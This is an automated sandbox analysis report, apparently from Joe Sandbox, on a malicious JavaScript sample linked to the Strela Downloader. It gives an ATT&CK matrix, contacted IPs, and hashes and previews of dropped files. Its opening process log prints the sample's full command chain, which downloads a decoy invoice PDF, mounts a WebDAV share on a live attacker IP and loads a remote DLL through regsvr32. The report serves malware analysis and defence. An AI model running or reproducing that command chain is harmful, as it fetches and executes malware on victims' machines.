Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2513521629114031259.js	5%	Virustotal		Browse
2513521629114031259.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/%	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1353124829.00000265F6760000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2565117240.00000265F6A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/%	net.exe, 0000000D.00000002.1350130424.0000024205A7A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pace	net.exe, 0000000D.00000002.1350130424.0000024205A48000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1350130424.0000024205A48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1350130424.0000024205A99000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1350130424.0000024205A7A000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588145
Start date and time:	2025-01-10 21:54:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2513521629114031259.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 3.233.129.217, 52.6.155.20, 52.22.41.97, 3.219.243.226, 88.221.110.91, 2.16.100.168, 2.16.168.107, 2.16.168.105, 13.107.246.45, 20.12.23.50, 104.78.188.188, 4.245.163.56
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, time.windows.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:55:19	API Interceptor	25x Sleep call for process: powershell.exe modified
15:55:23	API Interceptor	1x Sleep call for process: net.exe modified
15:55:23	API Interceptor	2x Sleep call for process: svchost.exe modified
15:55:31	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	61969293196726215.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067146911530375
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqk:2JIB/wUKUKQncEmYRTwh0w
MD5:	489038C8765AB16D59CE99EBDC5CC450
SHA1:	389D8085B397B561A29B9EE3F200D268C9694D8F
SHA-256:	892C7679E48854A83B71CC0A708D86FE9476157946795D7E56636D3DE46C99CE
SHA-512:	3096089745E7C7FC5384204194D2BE3A2CD9E09BDD18352F9541C32A6B79AE1BE3C6DD600DE74189DB56FD09E8416493E7573FF56321BA05B9C24AEDA9FBCFEE
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x9effb455, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899910793567116
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:TazaPvgurTd42UgSii
MD5:	CFF4F7B1E247B7F36675805A4D51B083
SHA1:	D2F2900E26C17DA4F647B2AB9E0D4208630D200C
SHA-256:	F3421AF76D921E1EB64C3C38EAFA1288913EC766C69E52452F138C7859DE9B32
SHA-512:	72D8270F80BF52E858C434C7E050A3689726780C7A21814EAD3AFFFC07BE876AE21E0B5463F4F2D345BA9D319E5689C0699B437F77BE57AF94B6423BDCFD98EE
Malicious:	false
Preview:	...U... ...............X\...;...{......................0.`.....42...{5..7...}?.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{................................... ...7...}+...................[..7...}?..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08214897790483172
Encrypted:	false
SSDEEP:	3:tu8YeFCyvt/57Dek3JjSwllEqW3l/TjzzQ/t:M8zFfR3tjfmd8/
MD5:	BF3A90B95A3DD2A24CAE2A45E387D0A4
SHA1:	A386F026E5585BA8815AD813EA4923E512A2E707
SHA-256:	33420CBDCAB53542974D6B5BC4580AADAE3FA26532E921F9B952917C425C9987
SHA-512:	A5226B5672C91ECF13C5CD8B135EA9AD53E29CD3F048CD2AAC0AB93558932C0E8470880B450DC5C5BD830926CD85F4959E868E7068957DE07CC6C016E5EEDD5E
Malicious:	false
Preview:	k'd......................................;...{...7...}?.42...{5.........42...{5.42...{5...Y.42...{59..................[..7...}?.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.231534628851657
Encrypted:	false
SSDEEP:	6:iO464q2PcNwi2nKuAl9OmbnIFUtStP3JZmwstEDkwOcNwi2nKuAl9OmbjLJ:7d4vLZHAahFUtAJ/BD54ZHAaSJ
MD5:	2DEEA106745C04BC0905DC2D4B57B132
SHA1:	CBE4106E7CF320296E04595F6EAD4AFAC2C99188
SHA-256:	17B65E1DD534A1279338812F0B6D4EC8F8C55D67D05E798360FEDD185E7DF945
SHA-512:	ED96A050742512CFD85E7F1D51F4F3ADC8AFF9F7F153DD76D373DDD3F1BED264EEBF11F8CD5262564A020CE44FD429C46FCFF8512717620946743F105AE7DF69
Malicious:	false
Preview:	2025/01/10-15:55:23.384 1e64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:55:23.392 1e64 Recovering log #3.2025/01/10-15:55:23.393 1e64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.231534628851657
Encrypted:	false
SSDEEP:	6:iO464q2PcNwi2nKuAl9OmbnIFUtStP3JZmwstEDkwOcNwi2nKuAl9OmbjLJ:7d4vLZHAahFUtAJ/BD54ZHAaSJ
MD5:	2DEEA106745C04BC0905DC2D4B57B132
SHA1:	CBE4106E7CF320296E04595F6EAD4AFAC2C99188
SHA-256:	17B65E1DD534A1279338812F0B6D4EC8F8C55D67D05E798360FEDD185E7DF945
SHA-512:	ED96A050742512CFD85E7F1D51F4F3ADC8AFF9F7F153DD76D373DDD3F1BED264EEBF11F8CD5262564A020CE44FD429C46FCFF8512717620946743F105AE7DF69
Malicious:	false
Preview:	2025/01/10-15:55:23.384 1e64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:55:23.392 1e64 Recovering log #3.2025/01/10-15:55:23.393 1e64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.2087741025774195
Encrypted:	false
SSDEEP:	6:iO4ZB0AQ+q2PcNwi2nKuAl9Ombzo2jMGIFUtSZjAgZmwsZDNAQVkwOcNwi2nKuAv:7s5VvLZHAa8uFUtBg/1I54ZHAa8RJ
MD5:	4484B10D5A883D16CF01F73637115CA9
SHA1:	3C2996E3E0360034D021679766E8288712EE4FC9
SHA-256:	477CADB6A4797C10B5823A2313EBCB7A402F09A4005CD1AEF04B31270AE1FED9
SHA-512:	4C3501E933F1E5A4978488B5A83B7CD47F92679F87891CFDAC971DDEA7904A79EC0DD23CDAC85CA6902074CFDD8818EF08D85681899A24EFDDD0AD67EC48D472
Malicious:	false
Preview:	2025/01/10-15:55:23.648 1f48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:55:23.650 1f48 Recovering log #3.2025/01/10-15:55:23.652 1f48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.2087741025774195
Encrypted:	false
SSDEEP:	6:iO4ZB0AQ+q2PcNwi2nKuAl9Ombzo2jMGIFUtSZjAgZmwsZDNAQVkwOcNwi2nKuAv:7s5VvLZHAa8uFUtBg/1I54ZHAa8RJ
MD5:	4484B10D5A883D16CF01F73637115CA9
SHA1:	3C2996E3E0360034D021679766E8288712EE4FC9
SHA-256:	477CADB6A4797C10B5823A2313EBCB7A402F09A4005CD1AEF04B31270AE1FED9
SHA-512:	4C3501E933F1E5A4978488B5A83B7CD47F92679F87891CFDAC971DDEA7904A79EC0DD23CDAC85CA6902074CFDD8818EF08D85681899A24EFDDD0AD67EC48D472
Malicious:	false
Preview:	2025/01/10-15:55:23.648 1f48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:55:23.650 1f48 Recovering log #3.2025/01/10-15:55:23.652 1f48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\41902103-905d-45b4-b333-5bc78578a964.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.966283712674234
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqVhxsBdOg2Hacaq3QYiubSpDyP7E4T3y:Y2sRdsshidMHV3QYhbSpDa7nby
MD5:	1703531446B1280A10AB25975C5064A6
SHA1:	BAD7A99453B188471120F18445FAA062F9FEE58B
SHA-256:	D7B69B9B9794D8C010FE38C4FD768416D34BF5681008E9BCE2C5E27407859E98
SHA-512:	67B388F9454EE6030B1D08DE5743C9C61D022335E65A48D9E03559509A8CF0B8ACA2DFD5AE49CCD0D1605D77C1754710282ACD1FCF1806AA99BDFC6E11DFDB26
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381102534953380","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144005},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\76f0bcb1-4bfe-4d52-a1c4-709251dab31e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF637434.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237487258519023
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPA8qSr/:CwNw1GHqPySfkcigoO3h28ytPsSr/
MD5:	70F4E08DBB88FCACDC127AF918F84D92
SHA1:	68F67A111273F03245DC2B4ADD400C0583482142
SHA-256:	5EA9AFB7A420FBD8EAA2384DABEC7EEAB5AEB65FF6413019DCF9884BE8746171
SHA-512:	1E593ACC145156A471565A895437C5E2245B49CA4985F259588F3A3ED3D9DDF93C8C9846E2CDE9004F858D67C6BD10CC25A40C5DB1EEB4637E73FEA2221B8B23
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.229265470658041
Encrypted:	false
SSDEEP:	6:iO4XBAQ+q2PcNwi2nKuAl9OmbzNMxIFUtSXGMRXAgZmwsXnAQVkwOcNwi2nKuAlG:7u2VvLZHAa8jFUtIDRQg/iAI54ZHAa8E
MD5:	F07719A4243AF828CCE7EB92631EC2AD
SHA1:	8807644D148036F75457ED79F73005FF9BD781CE
SHA-256:	D8376D193A83CCE24A2D70C2A5F5E388F419CD04B20AB1860E1106A7419E85D7
SHA-512:	90BB75F341EAAA6DF1AAF1F299C6C6D502A0F416B45E022B72C2EC12D6DE90ECE408D49A7C9D34EE601169423A8CB9349113CBE8E7C86BD41010D50E04E25EDE
Malicious:	false
Preview:	2025/01/10-15:55:23.849 1f48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:55:23.856 1f48 Recovering log #3.2025/01/10-15:55:23.865 1f48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.229265470658041
Encrypted:	false
SSDEEP:	6:iO4XBAQ+q2PcNwi2nKuAl9OmbzNMxIFUtSXGMRXAgZmwsXnAQVkwOcNwi2nKuAlG:7u2VvLZHAa8jFUtIDRQg/iAI54ZHAa8E
MD5:	F07719A4243AF828CCE7EB92631EC2AD
SHA1:	8807644D148036F75457ED79F73005FF9BD781CE
SHA-256:	D8376D193A83CCE24A2D70C2A5F5E388F419CD04B20AB1860E1106A7419E85D7
SHA-512:	90BB75F341EAAA6DF1AAF1F299C6C6D502A0F416B45E022B72C2EC12D6DE90ECE408D49A7C9D34EE601169423A8CB9349113CBE8E7C86BD41010D50E04E25EDE
Malicious:	false
Preview:	2025/01/10-15:55:23.849 1f48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:55:23.856 1f48 Recovering log #3.2025/01/10-15:55:23.865 1f48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
